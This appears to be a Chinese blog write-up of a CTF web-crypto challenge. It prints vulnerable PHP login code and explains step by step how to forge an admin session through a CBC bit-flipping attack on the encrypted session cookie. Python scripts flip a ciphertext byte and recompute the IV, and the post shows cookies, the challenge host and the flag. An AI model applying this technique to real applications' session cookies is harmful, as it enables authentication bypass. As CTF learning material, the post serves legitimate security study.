define("SECRET_KEY", file_get_contents('/root/key'));
define("METHOD", "aes-128-cbc");
session_start();
function get_random_iv(){
    $random_iv='';
    for($i=0;$i<16;$i++){
        $random_iv.=chr(rand(1,255));
    }
    return $random_iv;
}
function login($info){
    $iv = get_random_iv();
    $plain = serialize($info);
    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
    $_SESSION['username'] = $info['username'];
    setcookie("iv", base64_encode($iv));
    setcookie("cipher", base64_encode($cipher));
}
function check_login(){
    if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
        $cipher = base64_decode($_COOKIE['cipher']);
        $iv = base64_decode($_COOKIE["iv"]);
        if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
            $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
            $_SESSION['username'] = $info['username'];
        }else{
            die("ERROR!");
        }
    }
}
function show_homepage(){
    if ($_SESSION["username"]==='admin'){
        echo '<p>Hello admin</p>';
        echo '<p>Flag is $flag</p>';
    }else{
        echo '<p>hello '.$_SESSION['username'].'</p>';
        echo '<p>Only admin can see flag</p>';
    }
    echo '<p><a href="loginout.php">Log out</a></p>';
}
if(isset($_POST['username']) && isset($_POST['password'])){
    $username = (string)$_POST['username'];
    $password = (string)$_POST['password'];
    if($username === 'admin'){
        exit('<p>admin are not allowed to login</p>');
    }else{
        $info = array('username'=>$username,'password'=>$password);
        login($info);
        show_homepage();
    }
}else{
    if(isset($_SESSION["username"])){
        check_login();
        show_homepage();
    }else{
        echo '<body class="login-body">
                <div id="wrapper">
                    <div class="user-icon"></div>
                    <div class="pass-icon"></div>
                    <form name="login-form" class="login-form" action="" method="post">
                        <div class="header">
                        <h1>Login Form</h1>
                        <span>Fill out the form below to login to my super awesome imaginary control panel.</span>
                        </div>
                        <div class="content">
                        <input name="username" type="text" class="input username" value="Username" onfocus="this.value=\'\'" />
                        <input name="password" type="password" class="input password" value="Password" onfocus="this.value=\'\'" />
                        </div>
                        <div class="footer">
                        <input type="submit" name="submit" value="Login" class="button" />
                        </div>
                    </form>
                </div>
            </body>';
    }
}
?>
</html>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101
  • 102
  • 103
  • 104

明显的cbc字节反转攻击,而且是用了及其简单的CBC,因为我们需要修改的明文在第二块上,只需要修改第一块的明文施加影响,并且修改IV值即可,这里放简单的CBC模式的AES加密图 

这里写图片描述

这里写图片描述

然后我们尝试输入

username=admiN&password=2333
  • 1

然后得到一组数据

Set-Cookie: iv=yyUX9QHx8bJ5C15saSEjOQ%3D%3D
Set-Cookie: cipher=gYRvwMSQ3FKS9K%2FRx%2Fqd8X6xgSaRWzCAU9DgrdbePuggMeyjwWLuQNr32uCnCPl%2F1n1Cx8fmWyJSdd18FKY1tA%3D%3D
  • 1
  • 2

我们自己写个php得到实际期望得到的结构

<?php
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
$info = array('username'=>$username,'password'=>$password);
$plain = serialize($info);
echo $plain;
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

得到的序列化值16个一组如下

a:2:{s:8:"userna
me";s:5:"admiN";
s:8:"password";s
:4:"2333";}
  • 1
  • 2
  • 3
  • 4

我们想修改第二组的N变成n,那么就要修改第一组对应的r,修改代码如下

#!/usr/bin/env python
import requests,string,hashlib,re,base64,urllib
url='http://47.93.190.246:49168/'
iv=base64.b64decode(urllib.unquote("yyUX9QHx8bJ5C15saSEjOQ%3D%3D"))
cipher=base64.b64decode(urllib.unquote("gYRvwMSQ3FKS9K%2FRx%2Fqd8X6xgSaRWzCAU9DgrdbePuggMeyjwWLuQNr32uCnCPl%2F1n1Cx8fmWyJSdd18FKY1tA%3D%3D"))
#cipher[13]=chr(ord(cipher[13])^ord('N')^ord('n'))
ciphernew=cipher[0:13]+chr(ord(cipher[13])^ord('N')^ord('n'))+cipher[14:]
print urllib.quote(base64.b64encode(ciphernew))
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

然后我们得到cookie值如下

Cookie: 
td_cookie=18446744071856012820; 
PHPSESSID=6ljmdqqmb7dnrhl6dp3ipg3b87;
cipher=gYRvwMSQ3FKS9K/Rx9qd8X6xgSaRWzCAU9DgrdbePuggMeyjwWLuQNr32uCnCPl/1n1Cx8fmWyJSdd18FKY1tA%3D%3D;
iv=yyUX9QHx8bJ5C15saSEjOQ%3D%3D;
  • 1
  • 2
  • 3
  • 4
  • 5

然后我们可以得到aes解密后的明文,当然这个时候的明文一定是错误的,不能反序列化的,我们要利用这个假明文修改iv达到解密成功的效果 

这里写图片描述

没错,我们得到了这个

Yf/7T7XznECK3ApJ5oPFQm1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjQ6IjIzMzMiO30=
  • 1

base64加密后的aes解密“明文”,然后我们解码验证一下

这里写图片描述

我们看到翻转已经成功了,然后就是修改一下初始的IV值了!

import requests,string,hashlib,re,base64,urllib
iv=base64.b64decode(urllib.unquote("yyUX9QHx8bJ5C15saSEjOQ%3D%3D"))
text=base64.b64decode(urllib.unquote("Yf/7T7XznECK3ApJ5oPFQm1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjQ6IjIzMzMiO30="))
newiv=''
want='a:2:{s:8:"userna'
for i in range(16):
    newiv+=chr(ord(want[i])^ord(text[i])^ord(iv[i]))
print urllib.quote(base64.b64encode(newiv))
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

然后就得到flag了嗯…学习学习

SKCTF{CBC_wEB_cryptography_6646dfgdg6}
  • 1

阅读更多
版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/qq_19861715/article/details/79428140
文章标签: ctf 网络安全
个人分类: ctf
上一篇网络安全实验室CTF练习题目
下一篇区块链的跨链技术
想对作者说点什么? 我来说一句

没有更多推荐了,返回首页

关闭
关闭
关闭